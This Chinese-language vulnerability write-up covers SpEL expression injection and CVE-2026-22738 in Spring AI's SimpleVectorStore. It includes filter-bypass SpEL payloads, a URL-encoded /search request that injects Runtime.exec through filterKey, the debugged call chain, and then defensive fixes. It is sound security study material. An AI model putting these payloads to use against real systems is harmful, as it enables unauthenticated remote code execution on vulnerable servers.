前言

https://xz.aliyun.com/news/91936

SpEL简介

Spring Expression Language(SpEL)是一种功能强大的表达式语言,支持在运行时查询和操作对象图。语法类似 OGNL、MVEL 和 JBoss EL,提供了方法调用和字符串模板等便利功能。SpEL 是 Spring 产品组合中表达式评估的基础,但也可以独立使用。在 Spring 系列产品中,SpEL 是表达式计算的基础,实现了与 Spring 生态系统所有产品无缝对接。Spring 框架的核心功能之一就是通过依赖注入的方式来管理 Bean 之间的依赖关系,而 SpEL 可以方便快捷的对 ApplicationContext 中的 Bean 进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量 Java 代码。

SPEL特性

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

SPEL类类型表达式T(Type)

在SpEL表达式中,使用T(Type)运算符会调用类的作用域和方法,即可以通过类类型表达式来操作类

使用T(Type)来表示java.lang.Class实例,Type必须是类全限定名,java.lang包下的类除外,因为SpEL已经内置了该包,因此该包下的类可以不指定包名。类类型表达式还可以访问类的静态方法与类静态字段

eg:

public class Spel {
    public static void main(String[] args) {
        String expression2 = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();;
        Expression result2 = parser.parseExpression(expression2);
        System.out.println(result2.getValue(Class.class));
    }
}

在 SpEL 中,T(类型) 运算符用于引用指定类型的 Class 对象,相当于获取该类型的运行时类元数据。基于此,我们可以调用 Runtime 类的静态方法 getRuntime() 获取其实例,进而执行系统命令。

SPEL表达式用法

SpEL 的典型使用方式主要有以下三种:

  1. 注解方式:通过 @Value 注解,例如 @Value("#{systemProperties['user.home']}")
  2. XML 配置方式:在 Spring 的 XML 配置文件中使用 #{...} 表达式,例如 <property name="defaultLocale" value="#{systemProperties['user.region']}" />
  3. 编程方式:在 Java 代码中直接创建 ExpressionParser 解析表达式,例如 new SpelExpressionParser().parseExpression("...").getValue()

这块着重介绍一下第3种

Expression用法

后续分析的SpringCVE漏洞都是基于Expression形式的SpEL表达式注入,因此这里单独说明一下该种形式的用法

Expression用法分为四步:首先构造一个解析器,其次使用解析器去解析字符串表达式,然后构造上下文,最后根据上下文得到表达式运算后的值(其中第三步可以省略)

ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' Drunkbaby').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));

应用的示例如下,和xml配置的用法区别为:xml配置解析时,需要界定符#{}来注明SpEL表达式,而Expression用法,会将传入parseExpression方法的字符串直接当成SpEL表达式来解析

public class ExpressionCalc {// 字符串字面量  
  
 public static void main(String[] args) {  
 // 操作类弹计算器,当然java.lang包下的类是可以省略包名的  
        String spel = "T(java.lang.Runtime).getRuntime().exec(\"calc\")";  
        // String spel = "T(Runtime).getRuntime().exec(\"calc\")";  
        ExpressionParser parser = new SpelExpressionParser();  
        Expression expression = parser.parseExpression(spel);  
        System.out.println(expression.getValue());  
    }  
}

具体步骤如下:

  1. 创建解析器:SpEL 使用 ExpressionParser 接口表示解析器,提供 SpelExpressionParser 默认实现;
  2. 解析表达式:使用 ExpressionParserparseExpression 来解析相应的表达式为 Expression 对象;
  3. 构造上下文:准备比如变量定义等等表达式需要的上下文数据;
  4. 求值:通过 Expression 接口的 getValue 方法根据上下文获得表达式值;

SpEL 调用流程:
创建解析器 → 解析表达式 → 注册变量(可选) → 求值

SPEL表达式漏洞注入

漏洞原理

SimpleEvaluationContextStandardEvaluationContext 是 SpEL 提供的两个 EvaluationContext

  • SimpleEvaluationContext : 针对不需要 SpEL 语言语法的全部范围并且应该受到有意限制的表达式类别,公开 SpEL 语言特性和配置选项的子集。
  • StandardEvaluationContext : 公开全套 SpEL 语言功能和配置选项。可以使用它来指定默认的根对象并配置每个可用的评估相关策略。

SimpleEvaluationContext 旨在仅支持 SpEL 语言语法的一个子集,不包括 Java 类型引用、构造函数和 bean 引用;而 StandardEvaluationContext 是支持全部 SpEL 语法的。

SpEL表达式可以操作类及其方法,可以通过类类型表达式T(Type)来调用任意方法。因为在不指定EvaluationContext的情况下,默认采用的是StandardEvaluationContext,它包含了SpEL的所有功能,在允许用户输入情况下,可以造成任意命令执行

基础Bypass
 // 反射调用
T(String).getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 同上,需要有上下文环境
#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc")
 
// 反射调用+字符串拼接,绕过如javacon题目中的正则过滤
T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
// 同上,需要有上下文环境
#this.getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})
 
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part1
// byte数组内容的生成后面有脚本
new java.lang.ProcessBuilder(new java.lang.String(new byte[]{99,97,108,99})).start()
 
// 当执行的系统命令被过滤或者被URL编码掉时,可以通过String类动态生成字符,Part2
// byte数组内容的生成后面有脚本
T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(108)).concat(T(java.lang.Character).toString(99)))

目录

  1. 漏洞概述
  2. 技术原理深度剖析
  3. 漏洞触发流程
  4. 绕过技术详解
  5. Spring AI 其他可能的漏洞点
  6. 防御建议

1. 漏洞概述

1.1 基本信息

属性

CVE ID

CVE-2026-22738

CVSS 评分

9.8 (CRITICAL)

CWE 分类

CWE-94 (代码注入), CWE-917 (表达式语言注入)

影响组件

org.springframework.ai:spring-ai-core

受影响版本

1.0.0 – 1.0.4, 1.1.0-M1 – 1.1.3

修复版本

1.0.5, 1.1.4

修复提交

ba9220b22383e430d5f801ce8e4fa01cf9e75f29

1.2 漏洞描述

CVE-2026-22738 是 Spring AI 框架中 SimpleVectorStore 组件的 SpEL (Spring Expression Language) 注入漏洞。攻击者可以通过构造恶意的过滤表达式键名,在未经身份验证的情况下执行任意操作系统命令。

在 Spring AI 中,当用户提供的值被用作过滤表达式(filter expression)的键(key)时,SimpleVectorStore 中存在 SpEL 注入漏洞。恶意攻击者可利用此漏洞执行任意代码。仅当应用程序使用了 SimpleVectorStore,并且将用户输入作为过滤表达式的键进行传递时,才会受此漏洞影响。该问题影响以下 Spring AI 版本:

  • 从 1.0.0 至 1.0.5 之前(即 1.0.0 ≤ 版本 < 1.0.5)
  • 从 1.1.0 至 1.1.4 之前(即 1.1.0 ≤ 版本 < 1.1.4)

1.3 危害等级

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • 攻击向量 (AV): 网络 (Network) - 可远程利用
  • 攻击复杂度 (AC): 低 (Low) - 无需特殊条件
  • 权限要求 (PR): 无 (None) - 无需认证
  • 用户交互 (UI): 无 (None) - 无需用户参与
  • 影响范围 (S): 未改变 (Unchanged)
  • 机密性影响 (C): 高 (High) - 可读取任意数据
  • 完整性影响 (I): 高 (High) - 可修改任意数据
  • 可用性影响 (A): 高 (High) - 可导致服务中断

2. 技术原理深度剖析

2.1 Spring Expression Language (SpEL) 简介

SpEL 是 Spring 框架的核心表达式语言,提供以下能力:

// SpEL 基本用法示例
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("'Hello World'.concat('!')");
String result = exp.getValue(String.class); // "Hello World!"

// 访问 Java 类
Expression exp2 = parser.parseExpression("T(java.lang.Math).sqrt(16)");
Double result2 = exp2.getValue(Double.class); // 4.0

// 执行系统命令 (危险!)
Expression exp3 = parser.parseExpression(
    "T(java.lang.Runtime).getRuntime().exec('calc.exe')"
);
exp3.getValue(); // 执行 calc.exe

2.2 StandardEvaluationContext 的危险性

  • Standard:/ˈstændərd/(斯坦达德)
  • Evaluation:/ɪˌvæljuˈeɪʃən/(伊瓦柳艾申)
  • Context:/ˈkɑːntekst/(康泰克斯特)

SpEL 有两种评估上下文:

上下文类型

安全性

功能

SimpleEvaluationContext

安全

仅支持基本表达式,禁止反射和类加载

StandardEvaluationContext

危险

完整功能,可访问 JVM 反射 API

CVE-2026-22738 的核心问题SimpleVectorStore 使用了 StandardEvaluationContext

// 漏洞代码位置 (简化版)
public class SimpleVectorStore implements VectorStore {
    
    private ExpressionParser parser = new SpelExpressionParser();
    
    // 危险:使用 StandardEvaluationContext
    private EvaluationContext evalContext = new StandardEvaluationContext();
    
    public List<Document> similaritySearch(SearchRequest request) {
        String filterExpression = convertFilterToSpEL(request.getFilterExpression());
        // filterExpression 可能包含恶意代码!
        Expression exp = parser.parseExpression(filterExpression);
        exp.getValue(evalContext); // 执行恶意代码
        // ...
    }
}

2.3 漏洞调试分析

编写测试demo:

这是一个基于 Spring AI 的向量检索服务,提供了一个 /search 接口。用户可以通过 filterKey 和 filterValue 参数指定文档元数据的过滤条件。然而,由于 SimpleVectorStore 内部对过滤键的处理使用了危险的 SpEL 解析器,攻击者可以在 filterKey 中注入任意代码,实现远程命令执行(RCE)。

下面可以看一下下面的demo项目引用了存在漏洞的SimpleVectorStore

将构造好的payload对 /search 发起攻击请求

GET /search?filterKey=%22%27%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec(%27calc%27)%20%2B%20%23metadata%5B%27%22&filterValue=any HTTP/1.1
Host: localhost:8080
...

URL 解码后的 filterKey 为:
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

这个 payload 的目的是 闭合 #metadata['...'] 字符串并注入 SpEL 代码,具体原理见下文。

漏洞根源:filterKey 完全由用户控制,直接参与 FilterExpression 构建,而它是Spring AI 框架中用于构建向量存储(Vector Store)查询过滤表达式的构建器。使用向量数据库(如 Chroma、Pinecone、Redis Search 等)时,通常需要先根据元数据条件过滤出文档,再对过滤后的文档做向量相似性搜索。FilterExpressionBuilder 就是用来以类型安全的方式构造这种过滤条件的,避免手写字符串表达式。

简单用法示例:

FilterExpressionBuilder builder = new FilterExpressionBuilder();
Op filter = builder.and(
    builder.eq("country", "CN"),
    builder.gt("price", 100)
);
// 生成的过滤条件相当于:(country == "CN") AND (price > 100)

支持的操作符:

  • 比较:eqnegtgteltlte
  • 逻辑:andornot
  • 集合:innin
  • 分组:group

补充解释:

在 Spring AI 中,SearchRequest 被设计为不可变类(所有字段 final,没有 setter 方法)。
这意味着你无法先创建一个空对象再通过 setter 逐个赋值,也不能修改已有实例。
因此,必须通过 Builder 模式来一次性提供所有参数,生成一个不可变的实例。

当前代码中 filterExpression 是由用户输入的 filterKeyfilterValue 动态构造的。
Spring AI 并没有提供一个可以直接接受 Filter.Expression 的构造函数(或者即使有,参数顺序多、可读性差)。
Builder 模式允许你只设置必要的字段(query、filterExpression、topK),其他字段使用默认值,代码更清晰。随后,构造好的 SearchRequest 对象被传入 vectorStore.similaritySearch() 方法,正式触发漏洞执行。

@GetMapping("/search")
public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
    // 漏洞根源:filterKey 完全由用户控制,直接参与 FilterExpression 构建
    Filter.Expression filterExpression = new FilterExpressionBuilder()
            .eq(filterKey, filterValue).build();

    SearchRequest searchRequest = SearchRequest.builder()
            .query("test")
            .filterExpression(filterExpression)   // ← 恶意表达式进入检索流程
            .topK(1)
            .build();

    vectorStore.similaritySearch(searchRequest);  // ← 触发 SpEL 解析
    return "Executed with filterKey: " + filterKey;
}

继续步入进入vectorStore.similaritySearch(searchRequest); 直接跳到AbstractObservationVectorStore.similaritySearch,该方法最终调用 this.doSimilaritySearch(request)。所以漏洞触发点仍在 SimpleVectorStore.doSimilaritySearchdoFilterPredicate

补充解释:

这里构建了一个 VectorStoreObservationContext 对象,记录了操作类型(查询)、查询请求等信息,用于后续的观测数据收集。

接着进入 Observation 接口中,openScope() 方法用于打开一个观测作用域,返回一个 Scope 对象。这个作用域会将当前观测绑定到当前线程,使得在该作用域内的代码可以通过 ObservationRegistry.getCurrentObservation() 获取到这个观测,用于嵌套观测或上下文传递。

为什么会进入openScope()

AbstractObservationVectorStore.similaritySearch() 中,代码类似:

return VectorStoreObservationDocumentation.AI_VECTOR_STORE
    .observation(...)
    .observe(() -> {
        List<Document> documents = this.doSimilaritySearch(request);
        // ...
        return documents;
    });

Observation.observe(Supplier) 的默认实现 如下

default <T> T observe(Supplier<T> supplier) {
    this.start();
    try {
        Scope scope = this.openScope();   // <-- 停在这里
        try {
            return supplier.get();
        } finally {
            scope.close();
        }
    } catch (Throwable error) {
        this.error(error);
        throw error;
    } finally {
        this.stop();
    }
}

因此,openScope() 是在执行业务逻辑 doSimilaritySearch 之前被调用的。当单步调试时,可能先进入了 observe 方法,然后执行到 openScope()。此时恶意 SpEL 表达式还没有执行。之后 supplier.get() 才会调用 doSimilaritySearch,进而触发漏洞。

接着进入predicate 的构造和执行过程

  • 只是创建了一个 lambda 对象(一个 Predicate 实例),并没有执行其内部代码。
  • 如果 request.hasFilterExpression()true,返回的 predicate 内部包含了危险逻辑;否则返回 (document) -> true(无害)。

接着又跳到了下面的位置

1. 条件判断 request.hasFilterExpression()

如果请求中没有 FilterExpression(即用户没有提供过滤条件),则返回 (document) -> true,表示所有文档都通过过滤。

2. 返回的 lambda(危险负载)

这个 lambda 是一个 Predicate<SimpleVectorStoreContent>,它的 test 方法会在后面 stream().filter() 时被每个文档调用。lambda 内部做了三件事:

创建 StandardEvaluationContext

new StandardEvaluationContext() 创建了一个功能完整的 SpEL 评估上下文,允许访问任意 Java 类、调用静态方法、实例化对象。这是漏洞的根本原因。

将文档元数据注入为变量 metadata

context.setVariable("metadata", document.getMetadata()) 使得在 SpEL 表达式中可以通过 #metadata['fieldName'] 访问文档的元数据字段。

转换并执行 SpEL 表达式

filterExpressionConverter.convertExpression(request.getFilterExpression()) 将用户构造的 Filter.Expression 转换为字符串,例如 #metadata['category'] == 'security'。

关键:转换过程直接将用户控制的 key 拼接到字符串中,不做任何转义。

expressionParser.parseExpression(...).getValue(context, Boolean.class) 解析并执行该 SpEL 表达式,期望返回布尔值。

从源码中可以看到,当你创建一个 StandardEvaluationContext 实例(例如 new StandardEvaluationContext())时,虽然很多成员变量初始为 null,但当你首次调用相应的 getXxx() 方法时,会通过 initXxx() 方法懒加载一系列功能强大的解析器/访问器。

下面的有

①属性访问器(PropertyAccessors)

ReflectivePropertyAccessor:使用 Java 反射读取/写入任何对象的属性,甚至可以访问私有字段(通过 setAccessible(true))。攻击者可以利用它读取敏感信息或修改对象状态。

②构造器解析器(ConstructorResolvers)

ReflectiveConstructorResolver:允许 SpEL 表达式使用 new 关键字实例化任意对象。攻击者可以创建 java.io.FileWriter 写文件,或创建 java.lang.ProcessBuilder 执行命令。

③方法解析器(MethodResolvers)

ReflectiveMethodResolver:允许 SpEL 调用任何对象的公共方法(包括静态方法)。攻击者可直接调用 Runtime.getRuntime().exec()

④类型定位器(TypeLocator)

StandardTypeLocator:默认情况下,它允许 SpEL 使用 T(java.lang.String) 等形式引用任何 JDK 类(java.lang 包无需导入),还可以通过 registerImport 添加其他包。攻击者利用 T(java.lang.Runtime) 直接获得 Class 对象,进而调用静态方法。

从上面可以看到,StandardEvaluationContext 在首次使用时,会自动装配:

  • 反射属性访问器 → 可以读写任意对象的任意字段
  • 反射构造器解析器 → 可以 new 任意对象
  • 反射方法解析器 → 可以调用任意方法
  • 类型定位器 → 可以用 T(...) 引用任意类

第二轮调用才触发

3. 漏洞触发流程

3.1 完整调用链

HTTP GET /search?filterKey=恶意字符串
  ↓
VulnController.search()
  ↓
new FilterExpressionBuilder().eq(filterKey, filterValue).build()
  ↓
SearchRequest.builder().filterExpression(...).build()
  ↓
vectorStore.similaritySearch(searchRequest)
  ↓
AbstractObservationVectorStore.similaritySearch()  // 观测包装
  ↓
observation.observe(() -> doSimilaritySearch(request))
  ↓
SimpleVectorStore.doSimilaritySearch()
  ↓
doFilterPredicate(request)  // 返回一个包含恶意 lambda 的 Predicate
  ↓
store.values().stream().filter(documentFilterPredicate)
  ↓
lambda 内部执行:
    StandardEvaluationContext context = new StandardEvaluationContext()
    context.setVariable("metadata", document.getMetadata())
    String spel = filterExpressionConverter.convertExpression(request.getFilterExpression())
    expressionParser.parseExpression(spel).getValue(context, Boolean.class)
  ↓
SpEL 解析执行恶意代码 → Runtime.exec("calc") → 弹出计算器

3.2 表达式转换过程

// 1. 用户输入
filterKey = "category"
filterValue = "security"

// 2. FilterExpressionBuilder 生成的 Filter.Expression
Filter.Expression {
    type: EQ
    key: "category"
    value: "security"
}

// 3. 转换为 SpEL 表达式
// SimpleVectorStore 内部转换逻辑
String spelExpression = "#metadata['category'] == 'security'";

// 4. 恶意输入
filterKey = "\"'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['\""

// 5. 转换后的恶意 SpEL 表达式
String maliciousSpEL = "#metadata[''] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata[''] == 'x'";

3.3 关键代码路径分析

// SimpleVectorStore.java (更准确的简化)
protected List<Document> doSearch(SearchRequest request) {
    Filter.Expression filterExpr = request.getFilterExpression();
    if (filterExpr == null) {
        // 无条件过滤,返回所有文档
        return documents;
    }

    // 返回一个 Predicate,用于 stream 过滤
    Predicate<Document> predicate = doc -> {
        // ⚠️ 危险:每次调用都创建 StandardEvaluationContext
        StandardEvaluationContext ctx = new StandardEvaluationContext();
        ctx.setVariable("metadata", doc.getMetadata());

        // ⚠️ 危险:转换表达式时直接拼接用户输入的 key
        String spel = convertToSpEL(filterExpr);   // 例如: #metadata['用户输入的key'] == '用户输入的value'
        // 如果用户输入的 key 包含 '] + T(Runtime).exec('calc') + ' ,则 spel 变为:
        // #metadata[''] + T(Runtime).exec('calc') + #metadata[''] == 'value'

        Boolean matches = parser.parseExpression(spel).getValue(ctx, Boolean.class);
        return matches;
    };

    return documents.stream().filter(predicate).collect(Collectors.toList());
}

4.2 成功的绕过技术

技术核心:双引号包装器
filterKey = "\"'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['\""

解析过程

  1. 解析器检测到双引号开头 "
  2. 将内容视为带引号的字符串
  3. 剥离外部双引号,保留内部内容:
'] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata['
  1. 嵌入 SpEL 模板
#metadata[''] + T(java.lang.Runtime).getRuntime().exec('calc.exe') + #metadata[''] == 'x'

4.3 空元数据键的作用

为什么使用 #metadata[''] 而不是其他变量?

// #metadata 是 SimpleVectorStore 注入的有效变量
// 它代表文档的元数据 Map
EvaluationContext ctx = new StandardEvaluationContext();
ctx.setVariable("metadata", document.getMetadata());

// #metadata[''] 返回 null(空键不存在)
// 但不会抛出 "unknown variable" 错误
Object value = ctx.lookupVariable("metadata");  // 返回 Map
Object emptyKey = ((Map) value).get("");        // 返回 null

// 如果使用未定义的变量,如 #foo
ctx.lookupVariable("foo");  // 抛出异常!

4.4 最终 Payload 结构

原始 Payload:
"'] + T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","calc.exe"}) + #metadata['"

解析后的 SpEL 表达式:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{"cmd.exe","/c","calc.exe"}) + #metadata[''] == 'x'

执行过程:
1. #metadata[''] → null
2. T(java.lang.Runtime).getRuntime().exec(...) → ProcessImpl 对象
3. null + ProcessImpl → 抛出 EL1030E 错误
4. 但 exec() 已经执行完毕!

5.1 其他 VectorStore 实现

VectorStore

是否使用 SpEL

潜在风险

SimpleVectorStore

✅ 是

已确认漏洞

ChromaVectorStore

❓ 待确认

可能存在类似问题

PineconeVectorStore

❓ 待确认

可能存在类似问题

WeaviateVectorStore

❓ 待确认

可能存在类似问题

MilvusVectorStore

❓ 待确认

可能存在类似问题

RedisVectorStore

❓ 待确认

可能存在类似问题

PostgresVectorStore

❓ 待确认

可能存在类似问题

5.2 其他表达式注入点

5.2.1 ChatClient / Advisor
// 可能存在表达式注入的地方
ChatClient.builder()
    .defaultAdvisor(new QuestionAnswerAdvisor(vectorStore, 
        SearchRequest.builder()
            .filterExpression(userInput)  // 危险!
            .build()))
    .build();
5.2.2 Function Calling
// 函数描述可能存在注入
FunctionCallback.builder()
    .name(userInput)  // 危险?
    .description(userInput)  // 危险?
    .build();
5.2.3 Prompt Template
// Prompt 模板可能存在注入
PromptTemplate template = new PromptTemplate(userTemplate);
// 如果模板引擎支持 SpEL,可能存在注入

6. 防御建议

6.1 立即升级

<!-- 升级到安全版本 -->
<properties>
    <spring-ai.version>1.0.5</spring-ai.version>
    <!-- 或 -->
    <spring-ai.version>1.1.4</spring-ai.version>
</properties>

6.2 输入验证

// 白名单验证
public class FilterKeyValidator {
    private static final Pattern SAFE_KEY = Pattern.compile("^[a-zA-Z0-9_]+$");
    
    public static String validate(String key) {
        if (!SAFE_KEY.matcher(key).matches()) {
            throw new IllegalArgumentException("Invalid filter key");
        }
        return key;
    }
}

// 使用
@GetMapping("/search")
public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
    String safeKey = FilterKeyValidator.validate(filterKey);
    // ...
}

6.3 安全编码最佳实践

修改后的demo环境代码

package com.example.spelrce;

import jakarta.annotation.PostConstruct;
import org.springframework.ai.document.Document;
import org.springframework.ai.vectorstore.SearchRequest;
import org.springframework.ai.vectorstore.SimpleVectorStore;
import org.springframework.ai.vectorstore.filter.Filter;
import org.springframework.ai.vectorstore.filter.FilterExpressionBuilder;
import org.springframework.http.HttpStatus;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.server.ResponseStatusException;

import java.util.List;
import java.util.Map;
import java.util.Set;

/**
 * 已修复 CVE-2026-22738 漏洞的控制器
 * 采用“数据与逻辑分离”及“严格白名单”的最佳实践防御 SpEL 注入
 */
@RestController
public class VulnController {

    private final SimpleVectorStore vectorStore;
    
    // 💡 防御建议落地:定义严格的元数据键名白名单
    // 仅允许查询应用业务逻辑中实际存在的 metadata key
    private static final Set<String> ALLOWED_FILTER_KEYS = Set.of(
            "category", 
            "author", 
            "status",
            "doc_type"
    );

    public VulnController(SimpleVectorStore vectorStore) {
        this.vectorStore = vectorStore;
    }

    @PostConstruct
    public void init() {
        System.out.println("========================================");
        System.out.println("[✓] VulnController 初始化成功!");
        System.out.println("[✓] 正在添加种子数据到 SimpleVectorStore...");
        Document doc1 = new Document("1", "This is a test document about security", Map.of("category", "security"));
        Document doc2 = new Document("2", "This is another document about AI", Map.of("category", "ai"));
        vectorStore.add(List.of(doc1, doc2));
        System.out.println("[✓] 种子数据添加完成!");
        System.out.println("[✓] /search 端点已注册 (已应用白名单防御)");
        System.out.println("========================================");
    }

    @GetMapping("/health")
    public String health() {
        return "Service is running. VulnController is active and secured.";
    }

    @GetMapping("/search")
    public String search(@RequestParam String filterKey, @RequestParam String filterValue) {
        
        // 💡 防御建议落地:执行白名单校验,拒绝所有非预期输入
        // 任何试图构造 SpEL 注入(如包含单引号、括号或 T(java.lang...))的恶意 key 都会在这里被直接拦截
        if (!ALLOWED_FILTER_KEYS.contains(filterKey)) {
            // 返回 400 错误,不暴露过多内部信息
            throw new ResponseStatusException(HttpStatus.BAD_REQUEST, "Invalid filter parameter provided.");
        }

        // 只有通过白名单的安全 key 才会进入表达式构建流程
        Filter.Expression filterExpression = new FilterExpressionBuilder()
                .eq(filterKey, filterValue).build();

        SearchRequest searchRequest = SearchRequest.builder()
                .query("test")
                .filterExpression(filterExpression)
                .topK(1)
                .build();

        vectorStore.similaritySearch(searchRequest);

        return "Executed with safe filterKey: " + filterKey;
    }
}

7. 总结

7.1 漏洞关键点

  1. 根本原因: SimpleVectorStore 使用 StandardEvaluationContext 评估用户可控的 SpEL 表达式
  2. 触发条件: FilterExpressionBuilder.key() 可被非法绕过
  3. 绕过技术: 双引号包装器绕过单引号剥离机制
  4. 利用结果: 未经身份验证的远程代码执行

7.2 影响范围

  • 所有使用 Spring AI 1.0.0–1.0.4 或 1.1.0-M1–1.1.3 的应用
  • 暴露了 SimpleVectorStore.similaritySearch() 端点的应用
  • 允许用户控制过滤表达式的应用


参考资料

http://localhost:8080/search?filterKey=%22%27%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec(%27calc%27)%20%2B%20%23metadata%5B%27%22&filterValue=any

Logo

AtomGit 是由开放原子开源基金会联合 CSDN 等生态伙伴共同推出的新一代开源与人工智能协作平台。平台坚持“开放、中立、公益”的理念,把代码托管、模型共享、数据集托管、智能体开发体验和算力服务整合在一起,为开发者提供从开发、训练到部署的一站式体验。

更多推荐